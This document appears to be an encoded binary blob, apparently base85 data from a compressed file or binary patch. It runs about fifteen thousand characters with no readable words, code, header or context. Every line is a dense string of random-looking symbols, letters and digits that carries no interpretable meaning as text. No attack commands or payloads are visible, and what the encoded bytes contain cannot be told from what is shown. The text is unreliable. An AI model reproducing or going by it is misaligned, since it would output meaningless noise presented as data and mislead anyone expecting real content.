zS(ZD}RVd0rRUVy%IoM|{R`HBgxt4@ePqo-332R#Vaz|zD%V&SEoCuMz zM1z@6N3^sb1)1J+l?4D#RXOgzd`i=U>G{}p4>%dbkoue+xB)07`hD*}z&@*1Lh;9^ zZ(Bxp)uoNCZ*&$YH`ie)V!bcfL;CRU382EeU z&Ic|J(V9t2FtbRgYme_p)mP;?P5aTfi;)owbCQ-NmqZ%El5L|nf!w1Hiz#K=ox`)? zAAgrtlQ_)#zz>UE{3L%ye7(ZQ+zkF!B64YkRwtN&t%=D?9xLZ0B8E^(JQGASA{3OX zv5x8Pz2-2rR)WT_6gRkIdbp^kjQ?#=@;7qbxVv#YIMgq5lZ}fVB#D%lDR99eV#E0= zj@LN%Y}j8tsDT&+tzUXr4UubVbmMyZe>7bMP#jISU4lCVcZXoX-Q6L$OK^9G;BLX) zf&_PW65QQ_ySpv^=KHH&6}81|!A|#`+gHvx-D`BV{P`1G3F=Pa#|GhvIs4=_dikYg zFUf~{aCD@m3jW*7Qu=(jm4;W`EE48CX!^{9*@IsT-&g;PIa&EJ9WO^t7iXG5*?%)Z_i%R zG9o@2Aaj*}gj9dN{PE9~j}=C>b7GK*CUz^j!vY4N8}qd)zpy;>%G0=`n3rSFA~lNn zH2cLoRN9$H7MnwZ-dGZG)S|ezF+tg^t@@mKn>@iozhlVBsP(X$ad(})GG0~|zi}0c zlyjlZ_oglJWYdu_#Z(f)y5TJ~5y@S&CB6)y!dtgngDT<}gCGW*9Yo~gS1ChdaT_hF znb`p0!l)S)6?3DQXSdZd1NH?mUjzrL{+NIXEUbW(2y@rn&lIrlHlIedC+f-bD}jsk zml~wakG#PP znfz5v&rZ6fbwgPRC>YTBY@(O%$(P&=zpq`Hp0gDNTGxE%I?w$e^;Z5$UTfRg5=^JK zPkGTA#u}&rdW%a)^2mJ`AJ2_)atBj$gAGU386pbWgbY3Y?(p^=r4N>6c_-_^xdI@A zH$x6DkqxUUTYzr_-!=kA0&Fel@l~Q~U^I6uDnQ6pcCV97CEbEDF;uiuK zl+_eP{3lmKvfxHc!5)Fvhfudio}<$HTB)p zqbm#(fMDD#WQLROpvpbmse3Z{gARWy837@S;g{!Co}{|^YjtnKr{4nuwcu}pW+H16 zst5#Dy)FeQ=}w^@!ecTd%7Auu_Or2!QUnd7U}|HCCvX7}@-ops`>d6vqoTL zBh85ONIIl^D4e}~mj#H+^@+>%?6ZlPQWUw&+-Zv4X@J*mI8X5W;VG>792Fbm`~;ec zmfhjHLWkF7hd}at$YXzFe~6ZQ<&Ti+oIaD#;FERK$xsOY_kS<4=^dnRYri< zd5q@`ZL|7cHFfc%_$h4L$~|V z%gpv${*mn$ifVEHz$_U>C_qOxDk=Ta*I{K$#IVds6bB@|0L>+@u=YzTqff>vHYrKn z{f54RwzTqT`%!AFoLf%^uMEdTd{|L&Z#%ND?E|2e*Xw^;bn9&vy&xWa_h@Z9X#S|P zz7Fmm4D(hgM7W5B@P9r>wfXzLEmS8Z<>#}VPMx(}k_Bv6j~2Oy5!_?_rRu&60|NXR zh&}&}so81-(1aGK%aYs8C5|X6QnJwsnhL}KQXS|Nj^ugnFQw(bTL1mIj(>Y4akZi#|cC|}TZ24CRh+eI(p9d#1RV0Jl6Fh8`Kin6f z)j0@htM(kNr~tlqMN@0^&yI6k%IT`F1g|b2!;O0L@@-@KsU9A;4L2A5L7UY~xSddf zeYIp^5zFUOXK?I&dUGF0K}cU?Y+a+6z1hJAx!R26)$) zg#uM2it>q<04q=R2mlKVR`6UWW-msF*i@}@K6ht?B^jIed4|oG{5^i&&h;&A&CcF& zM!`-?(p3pu0-MW|KmVeFWo01$6fh6gdTz28*<92XA{5Xuhx);2U)rcBQ{X21nS$@l z727j*weL>>Yd6!E@0xxrd`g&gEwz|RxJ-D6uz;`#Z0vzD_PAfSe>4(75a#vNs+Ny@cM~kEj0YPv3O+osYm`?s1tz99-N9zk(To`V z61@>3tUx!nkpG%Zg;!JW>{4VNQ}M`7^^uz!!Q3!Sb|d-CLhC6Tr;iOiwJ|wu zUT0swe0Pwc@`<7^bB(m~!vbwv)ZlGjz%*8oD|~OzI?BlTGyPD7J1dy==e+(nGv#Yz zp9cFa`1OpD!EESSw3&#>c=cKo1=^}WmvRDvTUmLcV4a8IRWST~h(ZXuYM|h1@^r~% zVjQiq*{w?Wo;^3JvvF<8iw*I~&wtv%S0pU~Z7TE!uZv8NeayuyCp$d^XyJ0G%7j?h zKmz%&r)T!gT?=zRTwfTr#b%_}eFaFxwvI^MZP)6WJ54rSjdbz41{2Le&doTf4R5A+ zFLD)EPYPX34x(2p^xo?9mOPP3u^L7VTDa5A(1)(}V>~(km^)2QOJhm1WShp`#F%T} zJjrx_VyW2v4QX*i1x48qGAz3teXQ_ZUX_lX{q(9X^GES$k+I(NpnpiCCr47d^#raG_h`eU^!0!_rujU-RBbGiIyj z<+2dK{C@Zu53_e|yG)ObE;v$bhrb(_Wl3$TmItR?WfUR;0l`R51=m@_d6gD{56X`woyxPX6(&Ab$b51(%Z3Z2OJtTJXMZTX5VbC(c(CHLot#gL68N2; zC>OST0#uPFDu)FI**4D-`NNoaLDUtoHF4N=;Ws?ZeM+;^$7zmSOWJ4?xVHsoH3ckc+47-8+ z+>fEKV@JqYIS(bR2`sc0dZpNDnJAdR$Pnyjod=K6~01Zcp$ScXI#rA|t zBOwYhmE;RGG!$iHwGC?69g}dUcWR#tW0ut^tVM)iv1oqXRagficQx6ZWFE0A_)SvuP+xWEK_Q}4sf~|6W zPIL|o%UtPEVAH#U40zvDG?qQV9`_7}=c~nj7k?qnc$FusG4@}*&NUA9O&xc^wu6*| zU;G$jH#{mb)!Iqn;B<24w($eThtb+Ji6W6?jB0p55Z**$f6YD))nOny6q6flm%eL| z(Dj=Vfmg>To$DKOL%F&})f*(Q?(z=V7*xr2O*TUMyh~RNo3aQy!RBoKuRSoCnXp6U zJxn@`8XKD~A&-xQ-^KMPx#CDBgOu^2&Jp17iGn19O#;GOU_J#+a=?<(QU-u>QaO(w zIkcl4+fV}bilrpgTBjD)%E2h-8uav!`?rG+kc3s0_Yba^efbMU8m+c2_i5o^<8}1Z zagx45p`4MU1o&B4HvjOx&fCtCEM3CR&dLl61M7lH6)zh33iL~81Pd9TY_WZgSMz)7 zT(C7?^q{Hp%O2q@xlc8t2LgmL+OVyPc_N*?7!o8m(`F?))GT=rkJbX|eWHO2s8P6i zKB=qe&2VmZaAuS@ZfV}7{#OQeQYdFMR+olYzKBvpUf^9RvkFBYF1E>Cq|VkKaW7Rw zhjae^jt*4S)st78ktMW%y;{=xLQya>V_I~Mv^>2 z`dGvbr1$s2(XsP);OmJug3U>p1ILUht4ZAo%TZ&v3tN zos(==;~>a&?zuk-7iF>r>+S&@;Rr8g)czqofh={~L{dV2Q*T-s%n~Eo9Im~12gu=FXFvV?@Tp$MJpwO>_CLH#1@lEh-bvt3Z0YF=t0$f$#ErF> zRaG(4a|Dv*SQCq_2&FyqSSd_-h~FbpKtn~@3_}p{8K5Hr*!&UGgQ}cxt>%|nQ}}g_ z=oE)rr7OF4`1hNA&abjcJJn@{8My~03S!T+?%}~qKQXU28DGHfrlBn*yPrpX1kS6>Ss;#ppN`>BZYUV$Ns>n7 zRbA*~6*fkyTInbPVX4jU!9KC1@#yIClH$xu=Fy5G(F3FJqcHBNi?xM~sXtQg8y|z$ z;!V`u_#ciXb9GvR35HM)<7f++VR&iQD`v_#z+FzQ1z{hyll#$q5{W)#+18c^gumm?swPYVqyNSl0XHm5BvT>@muYW=o><{N4p*vfx9C}6$NIv5a&li26rozog zMx)hr`C%NCAf(S4HMDr>tyep2T5rs%T~>D9)jzc!6CJ%3IX2kJAo;myiG_+Kkv7se zO}t@ZvU}9qJ$bRdurX}itSRbH`-_a74d0Z1OSops`C-^~Uz^3hBSE(t=p1Yotyv*= zL4FAlHvuKzrX07SD6F@!`KG4ZljgV1rdu?*A>`eXG)2crZ46Kqww^T9xXK`e7VW+` z4-lrHdP#$GL%!|XC~)oNZC!I@(U#e$`JPpu@o0~@)zlczq%-&l*hI}4yc!J|H#D3G z3;s8TU5-Q(17b4a5;HwLsJX;~^i<4&Vat8!cx)6oQF=K3X9fEnB|n!G_-n~`mwoY9 z%=knOOAh%6E>^OQ;h%#R)Ami*KfH)^6*U_6O`Ed8<+@f4T3&XmejES1;=L&5ysmZ- zrDM;IU8r4MVF>v%ak{?O{{tVkba;843bs6mvH%EG*C|>a5yRF@MpB!-o_n4bA$|^V z79xtUuQW)+J11KYXC&IG<_u&iDfNY}#Hwl4%Ws$Xz3JMg#d6Cd98xRSCx&rI>3YhB zNz((;``3c;{`z{jm)Dr!XjW&($ysc2EvfnML1!6Rq}?6zX&+LEyUa@QI~`=94{y{( zksT<#WWou+pE2@Xl%h@ia~>LZVZQyFA8esYsiZGAdMU%tTP3PpKC4_#8!Cr{9v_oA zl$slI&!V6@axI4hWmh`v1pZvCTM8BsJXw|Je?FF6B%@D`Y`2|<l1ggHh4*Eb617cBZ-!d=CC&!<7r+zfPuF~FruDT)PHsGO8dGuCXmcA=CHPB1J|2l zG6z0RwykkngsiK#aQEhKnA@%6Aw1(&?>mGx^VQb6Xf8+6tm7l}b+3(QLc#g3qCuU) zRT9-=4ua}qjR&6@kqK$HZJeG@$(`V9zy71!XtnxUxKlX!(j_TN6`;Jh(-&Zw)S-EK z0$rB(Mf+c&EG1~Mx!L9RLnFzMam7X@+k)#%vS!BdLt?j60ISBxgB$#M@w_l2_M>$NcqQ(;VcU{SkK+MUi;losV(NOP(~+<>}$% z6{3u-RWN%xxWl{l-F%h54W7KJSpVz1L~`Yw1*(fW(=%q`OhK58MA5fYpys^2inPQMijN1n_{?Rn4D9?i|eZk^?Y52tbua%SssB)BKTJ@%(Qt*#lS9ulGH#fPTa@U<2 zH)&wwqGPv68U~+UHx23GVt#V53T_Nj%!M`7wML~#Db@dKovkX)oHVLi(QbZW&O4hr zOjV{`W1)`y*7K(jv9_=%8&>f7p9L@o1!^`AhL<2LkFVSnYTty>`ZzcbJ@&AiL4vOL zlt1}Ezuv~C^6y1;Yu zvSvst8Jsn$ujQ>tR*K6pt+~UkB5zD*eD(1V97Dmp-RcK6fo9BJzBgB^07ix+@jGu2 z5FW+XZM_Vx0UyQLOlrg~oc2P)l5!5`eG?LhrB3Su=SbI&5PN{?3-;|k{5ys6P#=j? zIKn!BaK?W%vsC%M-2~aZ?j)f~uT-`9Cu)uVr@Fyi2uNNrX0IK6WL!SBFJIUygNd1! zIvW*R!DJvI>DA-~J#RVn0uiE>mn}i+xA}{0=>XQ>*Sod!q`$E|w3zc8x9`6`3krHC z!W?s1udt^xyn4-vYzSzL7tTpKIypBk9qcF)qIh}^aH(;=xDSnVmC!v6admj^-N=;W zB_-BopremJ?kC=^P=@XobA$XM;9(QvRUy7@0*tAlZGvw%4Q;vIp5dn7l!>PN!-E=T zF_19#8DBiDT)r}zU#>$z#6ZAcBg+{dN0_E1gP$?*MU1Ym$i`)(cc1jVIz4KaE$E>o zheB?T8nH1>amo-j;-oqO5$5KLH7xgD>7PGXS1 zVM`y)*ogPeg567-yKSnmI_ie`#2?X(l^^M|FlGcRt)oZjj`l=3qm_+;4gW5qfoIp# z?g;g05dX&~T-NhY7=58?!vUob3+k&>iLLZca13Z2Zyl z2nA?MiYpj6Q`PGB_ap&l`P(@jNT#~6Y=010)8gZUuV?~fCEp2i!Ok~)%o7&G<7?z01>zQS0CJuEQ z9_<1iDPq{*Q~SI65?y)|WMbaL=Lw9PgjjI<+NL9Tsrjs;-v!Wug}r|MIw3Dv zxUg+a6(E|}YwrOvO##UwLv%LsXkIgX3pOAn(~uL*PW^4px3A7wZk^mUh!g%Z$xvTO zQtd-t`j%6~n`jAz(C*=`EA<#~nV5AFzJdwhYzYnwc&h#fMn%Yx!nbb0$xV&S-er<~Y zRXhu@Zh?xZp4_bF8w@}2HgsR27BfTSd5N{B$)*!0rlz-maFEVT;H9|NWl-+(Er{pUz(Roud>@pejjtB7(61X`~#80 zj=Ee&fjyH!>kI{GlU?xxNxM*jHG)}sf2Ioy?TCGnMuNX8H{KLBayF(+!l0lnci3)P z6V)K(Id)SBeDA%{lgY80+6{vaAiE~hY~(!nqXZVA$l!*3j^?@UHRVe|%p~4+ zzHngAD{Bm3xV2X!0Dm|(5Z2e_`>#l;kEWFk?jUik!mnbxB#v|GTI4-1mE8!RCZl| zw#Va8OVAjGjGYKA(UZ|yJ+X&cW#{$jsjU++OtBrqQ^dyxtPGgb$i0Te1A|A_p z4zyC8yM<6s2P#VLI~P@0ao? z>ICj?e39JiaRia(`MSjLZn}61zEKCfDHJO%HR_|(OehpeYU$**Un)$VFXsg!b_20e za)V&UD)#jfS8EW>O;de2x`p1zW8#gD&FN~&Cr|Y&eIXXEDoP_t<9eS68InAD{CDb@ z_uMn%;O4Hf!i)IOfq%CV&MzdK_QIrtcE$h61Dg30hzqHo2E&-Va&;KEnxZ@u6**fE zraLyX)ab}b>CpcxAp{<3TuDBwp@Uu7eTnxb?-ez)iNhkGDSeSj6oX4$NhwGjpq9b*RkDlhd#9 zIixxh(LlZqAV8F1E=4_h$A*XtXXHRgwcZ$O5(XHN4m7o8i&(=OCCPYe54I{-pRzpi z8pL&8XBI7ajQ$3ikO?AK0e68M$*t6xGT$F_#XuncF)jU2UOG%g!yD6bsI+g`@Rf9> zZ%0#oVncP)CfUosQ~2QRsq@-&`KMwBm2^DRWb)G7_b&xi?g*OZT%U@Vw(2QUL8DgO z7$g*JM!$4-3YsjNq_JbJG;XtZ+9mzK8)<}Pck;W50BrYq@)uq9u2n-BuMt=nhd1-w zsU$pq8u;Q=P6O@Zh4i108O_<2VqIu6^w9Sly(hoC^1|5BWs5n=`K)%=rN&WYC=(=Kgq^^fLx!cgCs@XpoN|Y|2WJ zV1NK}DoM#kBaoZ+h$CE^phs0^To=-ODZCL3Lp|)7&wW-89@sIqZeVNdbLD z`rZ52ic;_pBs~rR_mD)~$5f&A5UrwNB^DR2S({g{tJbyc*o&C;aP`x{y-h!i9Y`e< zstwxQ4Dhk##3cm<+~0}X*rV%{!0Rordl3WN1NH0SBQ@2B15|8OBQ0`d!=y}x6?)q* zKdeIUe4)BDf<@>rNa1(|P@-=;xDdEOiiam&{SXnT$mHS$*Gb;Q!WSZDE#rG}hqSQy z1Gd{G^gZ9t6UbYXDPEZWUkhL$1^TZ}n6aW@hVh(i!;@boM9~@7kmuw(*C3cMKh;Lb zS>Mhd@okoGp18;d&KhvZneEYcn*JfLBrLyi7H1TU5=)w$iiQof?OGF78|T7nSXjVs zwf*PS;T;nQu75ULh<|OwdP(p_jR7hZtWMW;hCxd4j&t6e;kG5nGagIx3$s~_$4RrA zn3o?*AJLK}LkB^SXvWj%IA=;;E*)H zeT3L0*#{)cHV@yy0L-sWpe8$W>s9&rrmQkMwmGBvY18^?&p0Os z)<_rw_B-sBLGu@i96pp->Zg&KPiTwVa3L?J@VBS@NFh(B@Q-tO??2Lea+PPcA-naR z0D!SapEE49FA=;x_=dUA(z?$JunKwp^?`3@>aXq(YOc;H?%u-ma7E%F&Xwhgvrl|3 z6Sf;xD&mM+3m&?bRw)-6#S*!7x+>nEO!35)T?=GS_LBk}^QYAF8&Gy9KAz%_C;md&#>eaylYkP9AoYz2SB@3*Iu`}4ECh>FFzuAnb8ps znKsN#f5pEk*T6_&JO^q4HTNfv!^_dk)!KhAm*qbBJD`)*iTRc+TKl7yd!LKUSVcDO zf6_`aF{bx!Y@Pxw@&4!h2b@xOK-i-#tv(E;VuQcclyp4QlN^+iaR-5jeF_4RNd|^h zAS)djZx8)>ugOkBfxR5=lEulN=t$xDKP}HLMe8{M+w__~fs9_`wX|17HRu`IN-`NM zjHwYqF} zA<*I%A@ebWa#G>Nc9wnhyt%pxp*67A3?^!e3(RLx&|KAjqXN(I9b`M8UAPv{8PnKAm zu^vge$nL+XQ=CS7+shDKIQ-Yi0@K|IdX0p?p%LT`SVjpaBU?61g(MGeyfR8$sV^Rm<)3?3l*&xuw~DUNR`!W*ooCH>K%mWYW)?RC z=o)^Ly`7OC4u(yQyq-HxlJ5_qg_W~H0TCeoud+$mqBD#`HUzCMEC1Ls=MX4BLbx2s zQooUjrc$;1B6v)m1rJn>u~FF29|}#I*_fEfUbM z$DzfHSAG;&z*aI5qJZ}ePeuex4>E@OA|p?Hh7KHaLw$(LOvb)GdD8+@nzH%y<>+n; z2*IUG|1}n6)FYD-s)@amehB)rI2TdbV1F9TSoz(@JcnQFbPn__`OBll(e!OMH=v8w zuMyg8uTwVQc#pNw(J5W8izahzw|xCJUK)iN@W)_K(%Q%NQoU)S55?cjUN+5`-M^Gx zPdL^IaLR*D12A!Dwfa-DsGz)91Y*Y;bn@K0z& zdrB(OAixqbNbr=jYOfwD(xi2N-Yv1d6lN#ljtt3t-N7-u{C+FrrT@_0XWeoO&YVb| z=eSuoZrH{}84FzBv~mKZiUZ8DPS`KW_-rSK+M$FVDdV|5i6URqOHG#g3h zInh`N06}r|HT?U;WT0t%mAYj?;h4 zN6?8FP5ncbR#q;K<>QhPO{|hV7_p>ZPRM%dc0v9I9TRpVegKie&t<_6|7SANA4s{f zS^vHO4T+~1qQw0KrW@{C{egQ+G+J3{cJvyWuzJM}{XsQ%z-ZjJ#mD_anohjN%($E& zqp&dO#Lw9M(^sUxZ|E3%IypY30fA{Xx%~~RKmWtRT9OgF>)l8~7w-96z|JcjU7%Yj zv#UopzEX#z%Lon*KJZI)?CaZrB>7)<%0a8hnCWlYb|v8CltoUn4{{vJ0oHbc2`CYI zh0oxu9oaI~NU_HCE;>n`UC?m7K?cGZ2(;$2jVrk9qNdzu(ab%}RG(K&5sydtB0zNgI9ujGOG5LI1&t38StONG~$-HRA;B724YiS z>FBCIlexg=*AKkauXKHHUZE|u`JJD&9xU8-!Czuz8D2O&HyN&h_8%G}IRKzE&uh2h z1<6J~4B(f#AK+^?xzoVkyq-iwU<6teCbw6RJFqfyr1gVy+F>3yDu_Eh^;)LnXra}< zpgWp4FgXrF#1nqN9@_;>QSp!`7w?AAHY0AqyW%6G8nPNZaGPhv=2frtTEHS=rY}6< zHsbrSP-W>#mdx5VCmODb8`xnyxlQbO@aNjvx@9d#L`5aeH)r&SY~}Zn;c{?)CPWMN zyu+KbZqiyeCQT^-%IR-z6yfDlQ$ld}b8M9C@i7rbtg&Q89{kjyFyx?y*_~n5u&dsG z>w62b4h{dGk8;=vpQ=g^DO8OjX$5c5~UTWfV0D39<`V1OCSm{l}OkSc1=mO&W5Q z`lKlAEGQxoSZ8tEPz8alo&SC(S8Q&2`k}RuU>uat^x=vE+}JVtpMGfAE8uwXmK21r zX9CZs=M{Oy1VSDdBLE}wd$@)%quw_M44t>pP^&pKq@o$SzVmva(y=fIT~nE&dVELz zW7*zD$Yn$WDY=IEP4o*^iI@w z)6qf3Q1wcEp2`XIoKj5)6sg$HfKFp(qS3#>MS)$rdB6t{y0WeDwZ5Off9@xY(cC}d z+o(b|b1vPPnlr8nI|ZAD4k7mzcXjn<%)8cTfU?J4mGKyexa6;$Qu^~3ZaT+9(kZZ- z82s!~tY6jD^rRF=JL*HvgE1Q>27jj2>;mju;t(2?r~6ECe;5=UH`_j57H*#sQ_l3^ zDSNIa)ES%aW*Q_KqO?6ERSB%H!|V5p&={E*r?F*c^ne~cft+m5V=C7y1f@Fgy?QcN zo7AeVgjoOuz=O6pR5|0rUhOTdKK0?~Qffj2DWuQf zNrS(L6KqiYn9wnR7H;g66cj+uU%DPta2bwY`7%uO`dS~!fJgr$+!%l|?0pVhS~%~N zl_AcAiAcNpQZC7dAR<(4vFSja-ESb&8nC1@^it6tw}BSxoSi~M(dQkDttNs)ZvA`G zG8*9!@)VH3>{5*B1ITd-1r%}O?eMlmXYb{M?8TZX^<|`wZP4XIVm&R8yASAQo+eHd ztj}M2i|{O=@Og=|0yy)DEFs2;rnLDCOvKI(%uYSKicOF(3TEuj!5*5thCW|&b~|Lb z4-et30;l5+`=-3~Er%|HAq3E%a05W3Xmu5q|6K>h#~lWB5IQ?eOP#xrl#+qCY5{K0 z4jYk)AtO@c^x4|aTm#{w{8AF%~Ba{Rdy2(JE5&RIIv zhaHXN)eIH9alGOtx|>ey&dq_BzGuEU^$4oDze=Dm_s#Yv(E^X)pvZW!2Z`e%>~rTx z-`Dr=NHoMi_B$1Y1OM@7?=I^MpD3ltrp9Dw_@{rq2!j7r@D+`q|LXLb(^H|)Z*d5k z4Cp)a#nQF*WY&o#mBQ}QB-qfz>ZRTirPZ8>KsY>oNt5MSF#8Xjby(}`;q<$_UU2cX zMEmG`aHgh`+vM>DSk3oV_llqf6{n!lxWX_t$*%U@(qqrcvzu%klH(U~(hIueVccCb zX1$E#Qr95~E16F3U0WGG2vQ9xfvXwbhup-ebFWpt^(Ivz@q)?y@(kTSUuw6 zz8@?g^|W8^u#nQjx*ULzU%C4QR+f)gi46ZPiRhuHOp5*p;!>>h5pgu}f{;Z`AjR z_jks9J})(tc+w&S4|r4A@6VxRf=1nw%FxjC&W8lKcRH(!)#fna(KQxet1U zpXJh6+XPc>>2|56x$a#nQWsmkN2=GXUNk}GdFvT zn(S-9WMPYNjM5#*5z9X(4xk(l<3z?t<7tN)P!BdateGYFq>ep5L=HqJyfJ_vl% zm=GIVsu=u0Iu|DU){nRA2UN_T`%^lzm#d?qFl{5arn;XKh9GHsr{ji_zY3vB$Oow% z{{?ytvH{$|E}Xaoeo1dN?wSqea6rZbVCQK~QgJ5rqe?CCs8=R4NAefBoRaPi!3|di zN&)slJzeLZS154!JiXt2AypLnpM>c3Z6hfsK%+urF?OxG*Fjo|k-x-3#uJBkEHgef z@=ZSezs?tk=tTuqq#8!|vRDNPOh*TGnDf#RqXATzY?C5%@f-Wn=J8>8>_NSVa^|ca zp5^4b92w)4JZi&SUNp-ZY9}gEf56j5zl*7v`Fy^lnN!pM``bnTJJY$A=duVWBU~1I zHb>j`rjGukJ|2KN5!T4|tpRKI^|bdLo^V2xXX^6kXb)Xy!pIV2Sy{5pST`F1jXdWO zJn|Il zHGbwg9Y%VL`;-QJ>e}hQx)2rJu|kA`P=5L!Qsb!r*;IAjm_E*)#TWv{gS%!!BO(+A zY>YR9js&09HS3NbCx+~vbejUw=m@T3@+T`fJ+bM{S$`|wf;A!_ElW~xk4a#<&}G=4 zhlrin-U`3`F|sri)g^${riI?JkBHvz8`b@_!Y5X5kSG27<>{;a#6h6Z zYY*gCso0^4QqQQ_xLrNb00tvmM+(Oj8k%BCU@~iO7dok%Jb7qB!GM%TgPk{LtbkPe zf3hVw@hm@sh$fm#7QE{|sz?Tsh_@GfU^Nb{cA$9q;LFAb{g)wq1F4O;YLVhos4ozK zQ^|KP9=q@0i-lSW?mboW(SVO27T^K>a7RBu_TYdxsi~Zz-yW%H1_&ux7AU;QUr|v} zy76vP4_M7uDK}XQS)BsNEd|#GRJ~qzdr@~|pM?!g4Xv;q{lQI|qi;Y(u~H`qX!4k; z$?&uK{+Q(1C-YSXd`YfXeMeGPQ^OQp6zE8bo=q&ZvfI@%%h@{+aQ5<_LZ2=83*Kfw z-VYRvB_*|V^mr*8>M zQi=cP@j&~Fn}QbVpN68g8ckIplM{UcDlG-0Bz&3g+X{>xV&S18u2@(6t^f%rTDgIh z`#x*^kfu(nVseS3i75vLf17;|}Jq(Y1W`1?n#n{n|iMkRfD35jA& zOhdX;cKrGRis7iZt$!@qpmaMGC zfEIqOS0Kipin*iwjig{Cu2;l`{N5HLJTLWVfNG9~m7>VM>Q;paQ*_nyhJG`|iH^s|!3{9v*G4aD3U zD6NHicnP8a;jYQuI{c)C!Ll%Fx-6YCOY7p_O*xsVoc~=|Srq~oVa@KDyn>V$!^T)d zp9Esh&Ch-$zd+;N>1F5k7iWz8Hwm?G0Xw(XXtyAN@-OjGQCt~^=kTqfw$h|rdhrv; zIHo4eD?pwYd^Vv1g2%6->PPScP;0JeIeufA9R!y(ul-D2tg76Ps%1>w*pMh@yfRouKqYQ&)qa;th8)jxL0C4-~NAGUQ zlD-Sy22u7PK-dKLLZ5SK38=++LA?F=4l=`7pmH0VLt$+WuN1dE4_Bwrn)1Ttg{MiG z?l=J4Z~T=p8)goWXoeen)ZFpE626-b;o_m=i~tfAATwUiJ?(wnoG3*Jh>B{_iuhUX z+^ky#EdO02Z4Q7V8?GoXEd3ogdJs7GX&pk%^^E^gP}ynYGB)ttR9q?^9ZOMCja!>V z(s`#44i&8rHHcE8*N6v2n6n^Os7ps+31V1S@>E8XGJs%p0{B!c8(F!EWkU@GKlPj? z&D)LN^=&Dm2O93K=;t$5?EkGUEFuwLBPeClcL# zIt$g6wb6FKRrxfWpW8y>L4*AvY=9t+r4BtN0%4#hOW!c`GsOBH$Tb8+m#MSjR*X=Tw!G0W5QndVral1s`A-R8QB*xBVGw{}Mq~ zl$K^oL4AuM*!d9Zu_f2&c)PQ=`;mpHZB1uS)t_$ySQ^k)j=`t+gY=f3`r1%>MZ7KX zfwQp@`2uA&azmmWtZpMkbMTR0!C z4oOpDK%GID*$AeNN0=s~bkIrn>W z+R3>L;2cJY0Yjbt-C^pO*f;49$QQ8)attv@OX$iwHF4b~yPDJSCg zLs4O2VVPyb^&>E1rMPh0op$hotRH%!KEL9!5at&Y6d*zL`g8YK%SlKe9I8WrDKtRf zqODHZo?To=i0Pg4NF-+{@wdwaVf+FlOV*u7fudbYn18%+&iQC{7GM@5)O_q9pFErZ zlK*B02}5A~rL1cX0yi3LM)E}s0;`ucAEp%2x`UsSbOSsdAz6M~$Ct@X(K=J+MhM@D zLfQKL0y0!HprcD5QbZc27OoX8JqoOy5(U4EY%6K|+z79JJu^2BDJY`<_9#i~$hXr) z-2cL#{o_(FjkJIEadOD0|CNej=STM~%V%YG9+U{@zO}9aZX<`o@Du7SJ0`_JEZbiA z{uJ4zLa3Q7&8>I!v7P|fb>G;)UUH-278(|~2-pi@TV%e)*dDR|u!6s7Y+%f1CYm=U-j?`X^nD>xdGCU$M z4GeK5LLg&2AK65HO0mqHbu2D z{|KkJ6qus_vOKCD3}Hxiv3F+!)GaEOq6DSZa;ZK$Aws$y)wTal^_RgRcA?>ZrpIx2L@&zQ;k`_Q!Ob7Gs@m83a~=s;|W> zPk0Z`VIxBN<}nD9)c(6?)F&gp9nKy1XQ}!G^ySdjbBe4Aso&RYO>Fun^GoK(mKAy` zqmL3L!&RjvjVnvOMfNK}%k7Qps~E?J{bb%3En7b2(R_h08_p52YAYBrAlB<9O zS^QU0Y7zFGZUR{W3xXG-2pR7;c;s4`^s0U%?HTmSP8$dj7^@D^#Z+orMq|_qfV*nL zx<9L^v~Z9hf-T3lwPvYFX8tdnT3(7C?=q42U_xp<$m0PV92_x)!KQvmKHz7?j>PyRbz9$+M35Bd7<|qhg$oCIne=p)Fmm+-{Ux+zr#w z_A<~2B*6UY3_!WRrx77#pr4fJ#L3f%ycTu>)hY^gW!TT{@4pSV^Kk#wL8&Ou31erm zX9;5jXfrZq&|~DHzS|ljnIstxM<7Ve^`#a!6{G7$yFwbQP5*5ou`7^i8yGVTG^FQ9 zPeVf!gVoOoV)>G$#H=iQ$GsWPEsSo=`faJ|HSpkxNqF2h^*q4_D)7TVC^|!%wtkRB zGi|q)&p~XJf%5`v%eR@fbpK}jcuQR1bTwj!Kte%K2gOiPgY!&!-mBlsw~;F?w9VPi zk5EJK0dykZP1I`2Z#6E*og3KHleOKYK`%YavHBT%7O=)xvqQ2-2V!6f>q=K%=&@ny zhyT|Cs0RG{Jk+ibek%aNNAo~vb}8=}t!$ zU)M}uQ=}T!wKukOWw(n3))VK^4x*jFzn>^iIikbj&5my|X$`qEwPOr-wA;*!}Knyv|yBrP-&$=?rNec<%E406|ecW5tEkuTuk#4`2UKW}l9* z*3-cDBAgwbExakiETwTnIqj2__ZtB?!0mL*b^VZ&mR?JS*@T^1%d=YCzOi_pJ5hID z?#5o?M?J2o}o~MBHJFpc+oM0VxCdN;o5y zlYh4*DF4McYe@-R!VdDGur^h!R%A%dg{GB~ZV~52w!+kW z7ZLYw3>^M(%dA%h{2H$g`Z@>NDj9JVm8!= zv+_{oD*qo%Ul~eQJ<@_;RT`KZB>zhCM;uRo1dw=) zon%EKwkQu9JA?~?zL|*uJcT&*mpu88ZK88HB3dEPc0KborNm3a@Pkq*)Ps{+Z;Z$& z&>rEpQ@V5{vtT#f@egV|9)HYCbTkX2)BY!p-4obCWBhr8{S+o<9psi-2x|tkxv`Fp z((0tbMXF)5wc$n1LHec2s8Hc&R=H|cH5(Jz1I>j5MWMpTVZj*P@3MQ_kb?wLG6*%_C#*=YuiB_Q3l9aL0aInB8Vmeep;_Cfrnfv#%4{ z37O`|Mpa8%GsaQ+nt~Hz{`pW?_=UH>F~cRwk1&Swo!|e>v;RUn2#vp%?0=@x07wlD zmp@zi)D-cxwOg-Vt@RnM3Rf&|H{8D%g4UqIKeaD082te%td@X~O2p6c-tUdu4vzGz zR_+eX10BoE##s5DFYp>zWE7%13y83NU!U&6m#+DDUId{NF|cKkF?UuYQx#oIT_kvN z-yARjyd-t?0L)$K^0Q@DpBwbt;hVJS)JlI~iCc+g_}~W9X~4;W%lSJC{T0VS{^Q_( zuzk&s*~V+Rqi!YbaOHZGXZ#;OkXyliY#mO|P5!K!XOwFTv)$oeL$l#FYUl>K4L8v4 zS6(j9(D5{xYf_e~@#?p8^+mqdw8cJCe|T8?N8)=ojZq5;Or9-B{3Y>6R_Z>^4cBk4 zE-69%XcMu*nCdG^#-ZQzm1HcD`1 